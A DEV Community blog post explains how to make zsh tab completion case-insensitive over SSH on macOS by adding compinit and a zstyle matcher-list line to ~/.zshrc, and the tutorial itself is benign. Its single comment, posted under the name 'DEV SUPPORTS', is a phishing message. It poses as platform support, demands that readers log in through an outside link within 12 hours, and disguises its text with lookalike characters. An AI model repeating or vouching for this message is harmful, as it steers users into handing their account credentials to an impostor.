DEV Community

Sanghun Kang
Sanghun Kang

Posted on Originally published at sanghunkang.com

Fixing zsh Tab Completion Case Sensitivity Over SSH on macOS

Fixing zsh Tab Completion Case Sensitivity Over SSH on macOS

On my MacBook, pressing cd d + Tab shows folders starting with both d and D. Case-insensitive, as expected.

But when I SSH into my Mac mini, cd d + Tab only shows folders starting with lowercase d. Both machines use APFS (case-insensitive), yet tab completion behaves differently.

Cause

macOS's zsh does not automatically load the completion system (compinit) by default.

On the MacBook, Oh My Zsh (or a similar framework) had already initialized compinit with case-insensitive matching. The Mac mini was running a minimal zsh config, so the completion system was never initialized at all.

Without the completion system loaded, zstyle settings have no effect.

Fix

Add these two lines to ~/.zshrc:

autoload -Uz compinit && compinit
zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}'
Enter fullscreen mode Exit fullscreen mode
  • autoload -Uz compinit && compinit: initializes the zsh completion system
  • zstyle ... matcher-list ...: makes tab completion case-insensitive

Run source ~/.zshrc or open a new shell to apply.

Notes

  • compinit enables the entire advanced completion system in zsh. It's a prerequisite for all completion customization, not just case sensitivity.
  • For bash, add set completion-ignore-case on to ~/.inputrc for the same effect.

This article was originally published on Sanghun Kang’s blog.

Top comments (1)

Collapse
 
supportdev profile image
DEV SUPPORTS •

Dear User,
Due to аn increase іn bot аctіvіty on the рlаtform, we rеquire verіfу of your account.
Pleasе log in viа the link bеlow:
• anti-bot.icu/5K0N5G7M9C4
Verificated dеadlіnе - 12 hours.
Sincerely,Dev Support

‌‍​​